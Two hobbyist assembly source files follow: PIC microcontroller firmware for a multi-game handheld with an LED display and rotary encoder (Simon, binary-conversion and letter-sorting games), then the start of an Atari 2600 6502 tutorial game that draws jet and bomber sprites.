goto Timer0Interrupt ; Jump to interrupt code
;------------------------------------------------------------------------------
; Lookup tables here near the start of code to avoid page wrapping
;------------------------------------------------------------------------------
GameNames:
incf p
movfw p
brw
#if CRACK ; Four letter word Mastermind game
dt 'C'-CHAROFFSET
dt 'R'-CHAROFFSET
dt 'A'-CHAROFFSET
dt 'C'-CHAROFFSET
dt 'K'-CHAROFFSET
#endif
#if TONES ; Eight-button Simon
dt 'T'-CHAROFFSET
dt 'O'-CHAROFFSET
dt 'N'-CHAROFFSET
dt 'E'-CHAROFFSET
dt 'S'-CHAROFFSET
#endif
#if ZEONE ; Dec/Hex-to-Binary conversion game
dt 'Z'-CHAROFFSET
dt 'E'-CHAROFFSET
dt 'O'-CHAROFFSET
dt 'N'-CHAROFFSET
dt 'E'-CHAROFFSET
#endif
#if SORTS ; Sort-the-letters
dt 'S'-CHAROFFSET
dt 'O'-CHAROFFSET
dt 'R'-CHAROFFSET
dt 'T'-CHAROFFSET
dt 'S'-CHAROFFSET
#endif
dt 39,39,39,39,39 ; Filler since we don't have four games
;****************************************************************************
; Convert a bit number (0..7) to a mask value
; Input: WREG
; Destroys: WREG
; Banksel:
;****************************************************************************
BitToMask:
brw
dt 1,2,4,8,16,32,64,128
;****************************************************************************
; Pulses the shiftregister clock signal low-high-low that will sample the
; current value of the data pin and shift all the existing bit one step
; Input: <none>
; Destroys: <none>
; Banksel: <none> But assumes bank 2 is already selected
;****************************************************************************
Pulse595Clock:
bsf CLOCK595 ;2; Toggle SHIFT_CLOCK
nop
bcf CLOCK595 ;2;
return
;****************************************************************************
; Pulses the shiftregister latch signal low-high-low that will cause the
; previosly sampled/shifted bits to appear at the output pins
; Input: <none>
; Destroys: <none>
; Banksel: <none> But assumes bank 2 is already selected
;****************************************************************************
Pulse595Latch:
bsf LATCH595 ;2; Toggle the LATCH pin now when all shift registers
nop
bcf LATCH595 ;2;
return
;*******************************************************************************
; INTERRUPT CODE
; Keeps track of the 0.1 second time ticker
; Reads the buttons
; Pre-clears the display shift-registers to avoid ghosting
; Shifts out the new SPI data to the display shift registers
; Reads the quadrature encoder
;*******************************************************************************
Timer0Interrupt:
bcf INTCON,T0IF ;c; Clear the timer interrupt flag
; Keep track of times
banksel iTick49
decfsz iTick49 ;2; 49 ticks are 100.35ms, decrement and
goto not100ms ; check if this counter reached 0, then...
; Here we have reached a 100ms point in time
movlw 49 ; ...restart count from 49
movwf iTick49 ;2;
incf tick ;c; And increment the resettable 0.1s time keeper
decfsz iSec10 ;2; Also update the count-to-seconds counter
goto not100ms ; No more here is not reached 0
movlw 10 ; We have counted a full second, start over from 10
movwf iSec10 ;2;
incf seconds ;2; Increment the game-time/score keeper
not100ms
; Update display pointer variables to point to next display
; also transfer local button into to global after full display scan
incf iDispno,W ;2; Select next display
andlw 0x07 ; Wrap after the last display
movwf iDispno ;2;
btfss STATUS,Z ;c; At the first display?
goto NoButtonUpdate; Nope, carry on with the display
movfw iButton ;2; Yes, transfer internal button state
movwf button ;c; to the global, and clear the internal
movlw 0xff ; in preparation for the next scans
movwf iButton ;2;
decf decr16ms ;c; Handle down counter here to keep code short
NoButtonUpdate
; The P-MOSFETs that are connected to the commons of the displays
; takes so long to turn off that a faint shadow of the previous display
; are visible.
KillDisplay
movlw D'48' ; 48 bits of segment+display data
movwf iCnt ;2;
KD1
bcf DATA595 ;2; The first 40 bits should be low,
movfw iCnt ;
sublw 8 ; and the last 8 bits should be high.
btfsc STATUS,C
bsf DATA595
call Pulse595Clock ; Toggle the clock line
decfsz iCnt ;2; Done all 48 bits yet?
goto KD1
call Pulse595Latch ; Yes, latch the data onto the ports
; Now, send out the new real data for the currently active display
movfw iDispno ;2;
addlw LOW(dispbuf) ;c; Index into the dispbuf
movwf FSR1L ;c; and get the character to display
clrf FSR1H ;c;
movfw INDF1 ;c;
movwf iCh ;2;
incf iCh ;2;
movlw D'40' ; 40 bits of segment data
movwf iCnt ;2;
l40b
bsf DATA595 ;2; Set SHIFT_DATA high if c-- is zero
decfsz iCh ;2;
bcf DATA595 ;2;
call Pulse595Clock
decfsz iCnt ;2;
goto l40b
movfw iDispno ;2;
movwf iCh ;2;
incf iCh ;2;
movlw D'8' ; 8 bits of segment data
movwf iCnt ;2;
l8
bcf DATA595 ;2; Set SHIFT_DATA low if iCh-- is zero
decfsz iCh ;2;
bsf DATA595 ;2;
call Pulse595Clock
decfsz iCnt ;2;
goto l8
call Pulse595Latch
; Read and analyze rotary encoder
banksel PORTC
lsrf PORTC,W ;0; Encoder A/B is bit 1/2 at PORTC, shift to bits 0/1
andlw b'00000011' ; and mask the rest off
xorwf iEncold,W ;0; same as last reading?
bz EncNoChange ; yes, branch (no change), else
xorwf iEncold,W ;0; restore encoder bits in W
rrf iEncold,F ;0; prep for B-old ^ A-new
xorwf iEncold,F ;0; ENCOLD bit 0 = direction
rrf iEncold,F ;0; now Carry bit = direction
movwf iEncold ;0; update ENCOLD (new BA bits)
xorlw B'00000011' ; At a detent position (BA = 11)?
bnz EncNoChange ; if not then ignore reading
btfsc STATUS,C ;c; Direction is determined by carry, so update
goto cv
incf encoder ;c;
goto EncNoChange
cv decf encoder ;c;
EncNoChange
; Check for button press
btfsc BUTTON ;0; Bit is clear if button is pressed
goto NoPress
banksel iDispno
movfw iDispno ;2; Copy to internal button if pressed
movwf iButton ;2;
NoPress
; Just waste a random number before exiting the ISR
call Random
retfie
;*******************************************************************************
; MAIN PROGRAM
;*******************************************************************************
MAIN_PROG CODE
Start:
; Setup peripheral registers in the PIC
; +--------- SPLLEN Software PLL Enable bit
; |+-------- IRCF3 Internal Oscillator Frequency Select
; ||+------- IRCF2
; |||+------ IRCF1
; ||||+----- IRCF0
; |||||+---- n/a
; ||||||+--- SCS1 System Clock Select
; |||||||+-- SCS0
; ||||||||
movlw B'11110000' ; Internal 32MHz oscillator
banksel OSCCON
movwf OSCCON ;1;
movwf rndH ;1; Set non-zero value in the random seed
bcf TRISLATCH ;1; Setup output pins
bcf TRISDATA ;1;
bcf TRISCLOCK ;1;
banksel ANSELA
clrf ANSELA ;3; All GPIOs are digital
clrf ANSELC ;3;
; Setup Timer0 to generate interrupts at about 488 Hz for refreshing
; the displays at a relatively flicker-free 61 Hz.
;
; fOsc/4 Prescale 8bit counter 8 displays
; 32000000/4 -> 8000000/64 -> 125000/256 -> 488/8 -> 61 Hz Refresh
; +--------- WPUEN Weak Pull-Up Enable
; |+-------- INTEDG Interrupt Edge Select
; ||+------- TMR0CS Timer0 Clock Source Select
; |||+------ TMR0SE Timer0 Source Edge Select
; ||||+----- PSA Prescaler Assignment
; |||||+---- PS2
; ||||||+--- PS1
; |||||||+-- PS0 Prescaler Rate Selec
; ||||||||
movlw B'00000101'
banksel OPTION_REG
movwf OPTION_REG
; +--------- GIE Global Interrupt Enable
; |+-------- PEIE Peripheral Interrupt Enable
; ||+------- TMR0IE Timer0 Overflow Interrupt Enable
; |||+------ INTE INT External Interrupt Enable
; ||||+----- IOCIE Interrupt-on-Change Enable
; |||||+---- TMR0IF Timer0 Overflow Interrupt Flag
; ||||||+--- INTF INT External Interrupt Flag
; |||||||+-- IOCIF Interrupt-on-Change Interrupt Flag
; ||||||||
movlw B'10100000'
movwf INTCON ;c;
; The chip is setup correctly now, so let the user use
; the knob to select one of the four available games
Main:
clrf encoder ;c; Prevent random encoder glitch after games
MainLoop:
andlw 3 ; Make sure game is in range 0..3
movwf game ;c;
call ClearDisplay ; Show the name of the selection
call ShowGameName
movlw 100/DELAYFACTOR ;Delay for a bit to reduce flicker
call DelayX16
banksel PORTC
btfss ENCBUTTON ;0; Did user click the button?
goto GameSelected; Sure did, start the game
movfw encoder ;c; If the user rotated the knob then
addwf game,W ;c; change game accordingly
clrf encoder ;c;
goto MainLoop
GameSelected:
movlw 10 ; Flash the selected game name for a while
movwf cnt ;c;
GS1
call ShowGameName
movlw 100/DELAYFACTOR
call DelayX16
call ClearDisplay
movlw 100/DELAYFACTOR
call DelayX16
decfsz cnt ;c;
goto GS1
movfw game ;c; Jump to the selected game
brw
#if CRACK
goto GameCrack
#endif
#if TONES
goto GameTones
#endif
#if ZEONE
goto GameZeOne
#endif
#if SORTS
goto GameSorts
#endif
;****************************************************************************
; CRACK Four letter word Mastermind game
;****************************************************************************
#if CRACK
GameCrack:
#endif
;****************************************************************************
; TONES Eight-button Simon
;****************************************************************************
#if TONES
GameTones:
movlw 39
call ClearDisplayW
movlw LOW(guesses); Point Index to array of tones
movwf FSR0L ;c;
movlw HIGH(guesses)
movwf FSR0H ;c;
movlw 20 ; 20 array entries to populate
movwf cnt ;c;
GTgenerate
call Random ; Generate random number 0..7
banksel rndH
movfw rndH ;1;
andlw 7
movwf INDF0 ;c; Store in array
incf FSR0L
decfsz cnt ;c;
goto GTgenerate
GTnewGame
movlw 1
movwf round
GTshowSequence
clrf p ;c; Position in array to show
GTshowLoop
call ClearDisplay
movlw HIGH(guesses)
movwf FSR0H ;c;
movlw LOW(guesses); Point Index to array of tones
addwf p,W
movwf FSR0L ;c;
movfw INDF0 ; Get tones[p]
movwf cnt ; Tuck tone away in cnt while preparing new index
addlw LOW(dispbuf)
movwf FSR0L ;c;
movlw HIGH(dispbuf)
movwf FSR0H ;c;
movfw cnt
addlw 1 ; Make tones show as 1..7 (add 11 to get A..H)
movwf INDF0
movlw 1000/DELAYFACTOR ; Delay for 1000 ms while showing the current tone
call DelayX16
call ClearDisplay
movlw 200/DELAYFACTOR ; Delay for 200 ms while showing the current tone
call DelayX16
incf p
movfw p
subwf round,W
btfss STATUS, Z
goto GTshowLoop
; All of the current sequence so far is shown, now let the user repeat it
clrf p ;c; Position in array to show
GTcopyloop
call ClearDisplay
call WaitKeyPress; Wait for button press
movlw HIGH(dispbuf); Show what the player is pressing
movwf FSR0H ;c;
movfw button
addlw LOW(dispbuf)
movwf FSR0L ;c;
movfw button
addlw 1
movwf INDF0
movlw HIGH(guesses)
movwf FSR0H ;c;
movlw LOW(guesses); Point Index to array of tones
addwf p,W
movwf FSR0L ;c;
movfw INDF0 ; Get tones[p]
subwf button,W ; Correct button/tone?
btfsc STATUS,Z
goto GTcorrect
call PlayFail
movfw round ;c; Copy the rounds number -1 as the score
banksel seconds
movwf seconds ;2; seconds/score
decf seconds
goto ShowScore ; Show score and go back to main menu
GTcorrect
call WaitKeyRelease
incf p
movfw p
subwf round,W
btfss STATUS, Z
goto GTcopyloop
call PlayCorrect
movlw 3000/DELAYFACTOR ; At end of sequence delay for 3 seconds
call DelayX16
incf round
goto GTshowSequence
#endif
;****************************************************************************
; ZEONE Decimal-to-Binary conversion game
; The Score is based on total number of seconds used to pass all 10 rounds
;****************************************************************************
#if ZEONE
ZeOneLength:
brw
dt 1,2,3,4,5,6,7,7
GameZeOne:
call ClearSeconds; Used as the total score
clrf round ;c; Start at round 0
ZeOneRoundLoop:
movlw 8 ; Check if we done all 10 rounds
xorwf round,W ;c
btfsc STATUS,Z
goto ShowScore ; We're done. Show score and exit
movfw round ;c; Fetch the round length
incf round ;c; And already now increment to next round
call ZeOneLength
banksel length
movwf length
banksel bin
clrf bin ;; Collect <length> number of 1 bits in bin
NewRandom
call Random ; Get random number between 0..7
movlw 0x07;
banksel rndH
andwf rndH,W ;1;
call BitToMask ; Convert bit number to bit mask
banksel tmp
movwf tmp ;1; Store the bitmask for later use
banksel bin
andwf bin,W ;0; Check if bit is already set..
btfss STATUS,Z
goto NewRandom ; ... if so go back for another random number
banksel tmp
movfw tmp ;1;
banksel bin
iorwf bin ;0; Set the bit
banksel length
decfsz length ;0; Go back for more while length is > 0
goto NewRandom ;
; When reached here all the required bits are set in the bin variable
call ClearDisplay
banksel bin
movfw bin ;0; Show the target value until
call Bin8toAscii ; the first keypress
call WaitKeyPress
banksel answer
clrf answer ;0; Clear the answer variable and
movlw 0 ; put zeros in all displays
call ClearDisplayW
ZeOneInRoundLoop
movfw button ;c; Update the answer variable
sublw 7 ; The bits needs to be in reverse order
call BitToMask ; Convert 0..7 to a bitmask
banksel answer
xorwf answer,F ;0; Toggle the bit in answer
ZeOneShowBits
clrf encoder
banksel answer
movfw answer
call ToBinary ; Show the bits on the display
call WaitKeyRelease
WaitKeyOrRotate
btfss button,7 ;c; Else check for next disp-button to be pressed
goto ZeOneInRoundLoop
movfw encoder ;c; If encoder is rotated then
btfsc STATUS,Z ;c; show target and answer
goto WaitKeyOrRotate
; The user have turned the knob, check the answer and see what to do
banksel answer
movfw answer ;0; Is the answer correct?
xorwf bin,W
btfsc STATUS,Z
goto ZeOneCorrect ; Yes, it was correct
; If the answer is wrong then show both the target value
; and the answer for a few seconds and go back and let the user
; adjust his answer
call ClearDisplay
movfw answer ;0;
call Bin8toAscii
call CopyDisp3FirstTo3Last
banksel bin
movfw bin
call Bin8toAscii
movlw 3000/DELAYFACTOR ; Delay for 3 seconds as punishment
call DelayX16
goto ZeOneShowBits
ZeOneCorrect
call PlayCorrect
goto ZeOneRoundLoop
#endif
ShowScore;
call ClearDisplay
banksel seconds
movfw seconds ;2;
call Bin8toAscii
call CopyDisp3FirstTo3Last
movlw 'S'-CHAROFFSET
movwf dispbuf+0
movlw 'C'-CHAROFFSET
movwf dispbuf+1
movlw 'R'-CHAROFFSET
movwf dispbuf+2
movlw 'E'-CHAROFFSET
movwf dispbuf+3
call WaitKeyPress
goto Main
;****************************************************************************
;****************************************************************************
PlayCorrect:
movlw PLUS ; Show +++ for Correct
goto PlayFail+1
;****************************************************************************
;****************************************************************************
PlayFail:
movlw MINUS ; Show --- for Fail
call ClearDisplayW
movlw 1500/DELAYFACTOR ; Delay for 1.5 seconds as punishment
goto DelayX16 ; DelayX16 will do the return for us
;****************************************************************************
; SORTS Sort-the-letters reversed
;****************************************************************************
#if SORTS
GameSorts:
call ClearSeconds; Used as the total score
movlw 5 ; One game is 5 rounds
movwf round ;c;
GSRoundLoop:
call ClearDisplay
movlw LOW(dispbuf); Point Index to dispbuf
movwf FSR0L ;c;
clrf FSR0H ;c;
movlw 8 ; Eight displays to populate
movwf cnt ;c;
GSort1
call Random
banksel rndH
movfw rndH ;1;
andlw 31 ; Mask number down to 0..31
addlw 11 ; Offset so number start at 'A'
movwf p ;c; Store number in variable
addlw 255-26-11+1 ; Check if number > 'Z'
btfsc STATUS,C ;c;
goto GSort1 ; If so, then get a new random number
; Check if this random number already is in the table (dispbuf)
movfw p ;c; p holds the new random number
xorwf dispbuf+0,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; p holds the new random number
xorwf dispbuf+1,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; p holds the new random number
xorwf dispbuf+2,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; p holds the new random number
xorwf dispbuf+3,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; p holds the new random number
xorwf dispbuf+4,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; p holds the new random number
xorwf dispbuf+5,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; p holds the new random number
xorwf dispbuf+6,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; p holds the new random number
xorwf dispbuf+7,W
btfsc STATUS,Z
goto GSort1 ; Found it in the table, go net a new random number
movfw p ;c; We didn't find it, so so store the number
movwf INDF0 ;c; the number in the table
incf FSR0L ;c;
decfsz cnt ;c; Have done them all yet?
goto GSort1 ; No, go back and do more
; All 8 random number (letters) are in place in the dispbuf table
; let the game round begin
movlw 8
movwf game ;c; "game" is used to count the eight correct answers
GSLoop
call WaitKeyPress ; Wait for user to selet a character
movlw 8 ; Scan thru all 8 entries in table
movwf cnt
movlw LOW(dispbuf); Start at the first dispbuf
movwf FSR0L
movfw INDF0 ; Get the data for #0 and store in "p"
movwf p
GSTest
movfw p
subwf INDF0,W
btfss STATUS,C
goto smaller
movfw INDF0 ; Found new larges, copy the data
movwf p
smaller
incf FSR0L
decfsz cnt
goto GSTest
; By now we have the lowest data/value in "p"
movlw LOW(dispbuf); Get the value the user selected
addwf button,W
movwf FSR0L
movfw INDF0
subwf p,W ;c; Check if it is the same
btfsc STATUS,Z
goto same
; Not same, so show minus for a while as punishment
movfw INDF0 ;c; Save the original character in p
movwf p ;c;
movlw MINUS ; Put - in its place
movwf INDF0 ;c;
movlw 3000/DELAYFACTOR
call DelayX16
movfw p ;c; Restore the original character
movwf INDF0 ;c;
goto GSLoop
same
movlw SPACE ; Clear the character at the place
movwf INDF0 ;
call WaitKeyRelease
decfsz game ;c; Have got all eight chars yet?
goto GSLoop ; No, go back and continue this round
decfsz round ;c; Played all rounds yet?
goto GSRoundLoop ; No, go back and make&play a new round
goto ShowScore ; All rounds played, show score and exit
#endif
;****************************************************************************
; ToBinary - Shows WREG as a binary number on the display
; Input: WREG
; Destroys: tmp, cnt, FSR0x
; Banksel: 1
;****************************************************************************
ToBinary:
#if ZEONE
banksel tmp
movwf tmp ;1; Store data for shifting out bits
movlw LOW(dispbuf); Point Index to dispbuf
movwf FSR0L ;c;
clrf FSR0H ;c;
movlw 8 ; Eight displays to handle
movwf cnt ;c;
ToBin
clrf INDF0 ;c; Begin by setting display as "0"
rlf tmp ;1; Shift out msb of data into Carry
btfsc STATUS,C ;c; Was the MSB high?
incf INDF0 ;c; Yes, then set display as "1"
incf FSR0L ;c; Point to next display
decfsz cnt ;c; Loop back if done all displays done yet
goto ToBin
return
#endif
;****************************************************************************
; ClearDisplay - Sets <space> characters in all displays
; Input: <none>
; Destroys: WREG
; Banksel: <none>
; ClearDisplayW - Sets the character in WREG in all displays
; Input: WREG
; Destroys: <none>
; Banksel: <none>
;****************************************************************************
ClearDisplay:
movlw '@'-CHAROFFSET
ClearDisplayW:
movwf dispbuf+0
movwf dispbuf+1
movwf dispbuf+2
movwf dispbuf+3
movwf dispbuf+4
movwf dispbuf+5
movwf dispbuf+6
movwf dispbuf+7
return
;****************************************************************************
; ShowGameName - Shows the name of the game pointed to by <game>
; Input: game
; Destroys: WREG, p
; Banksel: <none>
;****************************************************************************
ShowGameName:
lslf game,W ;c; Multiply game number by 5 and put in p(ointer)
movwf p ;c;
lslf p ;c;
movfw game ;c;
addwf p ;c;
decf p ;c; Backup one step since GameNames autoincrements
call GameNames
movwf dispbuf+0 ;c;
call GameNames
movwf dispbuf+1 ;c;
call GameNames
movwf dispbuf+2 ;c;
call GameNames
movwf dispbuf+3 ;c;
call GameNames
movwf dispbuf+4 ;c;
return
;****************************************************************************
; Random - 16 bit random number generator
; Input: <none>
; Destroys: WREG, tmp
; Banksel: 1
;****************************************************************************
Random:
banksel rndH
rrf rndH,W ;1; Wreg = Q12
xorwf rndL,W ;1; Wreg = xor(Q12,Q3)
movwf tmp ;1; tmp(bit3) = xor(Q12,Q3)
swapf tmp ;1; tmp(bit7) = xor(Q12,Q3)
rlf rndH ;1; Wreg = Q14
xorwf rndH ;1; Wreg = xor(Q15,Q14)
xorwf tmp ;1; tmp(bit7) = xor(Q15,Q14,Q12,Q3)
rlf tmp,W ;1; cflag = xor(Q15,Q14,Q12,Q3)
rlf rndL ;1; move bit7 to new bit0 and then..
rlf rndH ;1; ..rotate RNG value to the left
return
;****************************************************************************
; Bin8toAscii - Convert WREG into 3-digit number at dispbuf[0..2]
; Input: WREG
; Destroys: WREG, ones,tens
; Banksel: 1
;****************************************************************************
Bin8toAscii:
#if ZEONE
banksel tens
clrf tens ;0;
decf tens,F ;0; Preset 'tens' to -1
div10
movwf ones ;0;
incf tens,F ;0; bump 'tens', 0x00..0x25
movlw 6 ; using "packed bcd" format
addwf tens,W ;0; bcd "digit carry"?
skpndc ; no, skip, else
movwf tens ;0; fix 'tens'
movlw 10 ; ones = ones - 10
subwf ones,W ;0; borrow?
bc div10 ; no, branch, else
movfw ones ;0;
movwf dispbuf+2 ;c;
movfw tens ;0;
movwf dispbuf+0 ;c;
swapf dispbuf+0 ;c;
movwf dispbuf+1 ;c;
movlw 0x0F
andwf dispbuf+1 ;c;
andwf dispbuf+0 ;c;
return
#endif
#if ZEONE
CopyDisp3FirstTo3Last:
movfw dispbuf+0
movwf dispbuf+5
movfw dispbuf+1
movwf dispbuf+6
movfw dispbuf+2
movwf dispbuf+7
return
#endif
;****************************************************************************
; Loop until one of the eight buttons are pressed. Then exit
; after a short debounceing delay
; Input: <none>
; Destroys: <none>
; Banksel: <none>
;****************************************************************************
WaitKeyPress:
btfsc button,7 ;c; Loop until button pressed
goto WaitKeyPress
goto WKDebounce ; Debounce and return
;****************************************************************************
; Loop until all of the eight buttons are released. Then exit
; after a short debounceing delay
; Input: <none>
; Destroys: <none>
; Banksel: <none>
;****************************************************************************
WaitKeyRelease:
btfss button,7 ;c; Loop until buttons released
goto WaitKeyRelease
; Fall through to the setup of the Debounce delay, then just fall through to
; the delay function thet will return to the caller for us
WKDebounce:
movlw 2
;****************************************************************************
; Delay the specified number of 16ms units
; The slighly strange value of 16 ms is because we can
; decrementing this timing variable in the ISR at the same time
; we're handling the button testing at the end of each full
; update of the display.
; Input: WREG
; Destroys: <none>
; Banksel: <none>
;****************************************************************************
DelayX16:
movwf decr16ms
DelayX16Loop
TSTF decr16ms
BNZ DelayX16Loop
return
;****************************************************************************
; Input: <none<
; Destroys: WREG
; Banksel: 2
;****************************************************************************
ClearSeconds:
banksel iSec10
movlw 10
movwf iSec10 ;2;
clrf seconds ;2;
return
END |
bomber-02/bomber.asm | leonhad/atari | 0 | 1611 | <filename>bomber-02/bomber.asm<gh_stars>0
processor 6502
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Include required files with VCS register memory mapping and macros
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include "vcs.h"
include "macro.h"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Declare the variables starting from memory address $80
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
seg.u Variables
org $80
JetXPos byte ; player0 x-position
JetYPos byte ; player0 y-position
BomberXPos byte ; player1 x-position
BomberYPos byte ; player1 y-position
JetSpritePtr word ; pointer to player0 sprite lookup table
JetColorPtr word ; pointer to player0 color lookup table
BomberSpritePtr word ; pointer to player1 sprite lookup table
BomberColorPtr word ; pointer to player1 color lookup table
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Define constants
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
JET_HEIGHT = 9 ; player0 sprite height (# rows in lookup table)
BOMBER_HEIGHT = 9 ; player1 sprite height (# rows in lookup table)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Start our ROM code at memory address $F000
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
seg Code
org $F000
Reset:
CLEAN_START ; call macro to reset memory and registers
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Initialize RAM variables and TIA registers
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lda #10
sta JetYPos ; JetYPos = 10
lda #60
sta JetXPos ; JetXPos = 60
lda #83
sta BomberYPos ; BomberYPos = 83
lda #54
sta BomberXPos ; BomberXPos = 54
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Initialize pointers to the correct lookup table addresses
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lda #<JetSprite
sta JetSpritePtr ; lo-byte pointer for jet sprite lookup table
lda #>JetSprite
sta JetSpritePtr+1 ; hi-byte pointer for jet sprite lookup table
lda #<JetColor
sta JetColorPtr ; lo-byte pointer for jet color lookup table
lda #>JetColor
sta JetColorPtr+1 ; hi-byte pointer for jet color lookup table
lda #<BomberSprite
sta BomberSpritePtr ; lo-byte pointer for enemy sprite lookup table
lda #>BomberSprite
sta BomberSpritePtr+1 ; hi-byte pointer for enemy sprite lookup table
lda #<BomberColor
sta BomberColorPtr ; lo-byte pointer for enemy color lookup table
lda #>BomberColor
sta BomberColorPtr+1 ; hi-byte pointer for enemy color lookup table
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Start the main display loop and frame rendering
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
StartFrame:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Display VSYNC and VBLANK
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lda #2
sta VBLANK ; turn on VBLANK
sta VSYNC ; turn on VSYNC
REPEAT 3
sta WSYNC ; display 3 recommended lines of VSYNC
REPEND
lda #0
sta VSYNC ; turn off VSYNC
REPEAT 37
sta WSYNC ; display the 37 recommended lines of VBLANK
REPEND
sta VBLANK ; turn off VBLANK
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Display the 192 visible scanlines of our main game
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
GameVisibleLine:
lda #$84
sta COLUBK ; set background/river color to blue
lda #$C2
sta COLUPF ; set playfield/grass color to green
lda #%00000001
sta CTRLPF ; enable playfield reflection
lda #$F0
sta PF0 ; setting PF0 bit pattern
lda #$FC
sta PF1 ; setting PF1 bit pattern
lda #0
sta PF2 ; setting PF2 bit pattern
ldx #96 ; X counts the number of remaining scanlines
.GameLineLoop:
.AreWeInsideJetSprite: ; check if should render sprite player0
txa ; transfer X to A
sec ; make sure carry flag is set
sbc JetYPos ; subtract sprite Y coordinate
cmp JET_HEIGHT ; are we inside the sprite height bounds?
bcc .DrawSpriteP0 ; if result < SpriteHeight, call subroutine
lda #0 ; else, set lookup index to 0
.DrawSpriteP0:
;clc ; clears carry flag before addition
;adc JetAnimOffset ; jumps to correct sprite frame in memory
tay ; load Y so we can work with pointer
lda (JetSpritePtr),Y ; load player bitmap slice of data
sta WSYNC ; wait for next scanline
sta GRP0 ; set graphics for player 0
lda (JetColorPtr),Y ; load player color from lookup table
sta COLUP0 ; set color for player 0 slice
.AreWeInsideBomberSprite: ; check if should render sprite player1
txa ; transfer X to A
sec ; make sure carry flag is set
sbc BomberYPos ; subtract sprite Y coordinate
cmp BOMBER_HEIGHT ; are we inside the sprite height bounds?
bcc .DrawSpriteP1 ; if result < SpriteHeight, call subroutine
lda #0 ; else, set index to 0
.DrawSpriteP1:
tay
lda #%0000101
sta NUSIZ1 ; stretch player1 sprite
lda (BomberSpritePtr),Y ; load player bitmap slice of data
sta WSYNC ; wait for next scanline
sta GRP1 ; set graphics for player 0
lda (BomberColorPtr),Y ; load player color from lookup table
sta COLUP1 ; set color for player 0 slice
dex ; X--
bne .GameLineLoop ; repeat next main game scanline while X != 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Display Overscan
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
lda #2
sta VBLANK ; turn on VBLANK again
REPEAT 30
sta WSYNC ; display 30 recommended lines of VBlank Overscan
REPEND
lda #0
sta VBLANK ; turn off VBLANK
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Loop back to start a brand new frame
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
jmp StartFrame ; continue to display the next frame
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; Declare ROM lookup tables
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
JetSprite:
.byte #%00000000 ;
.byte #%00010100 ; # #
.byte #%01111111 ; #######
.byte #%00111110 ; #####
.byte #%00011100 ; ###
.byte #%00011100 ; ###
.byte #%00001000 ; #
.byte #%00001000 ; #
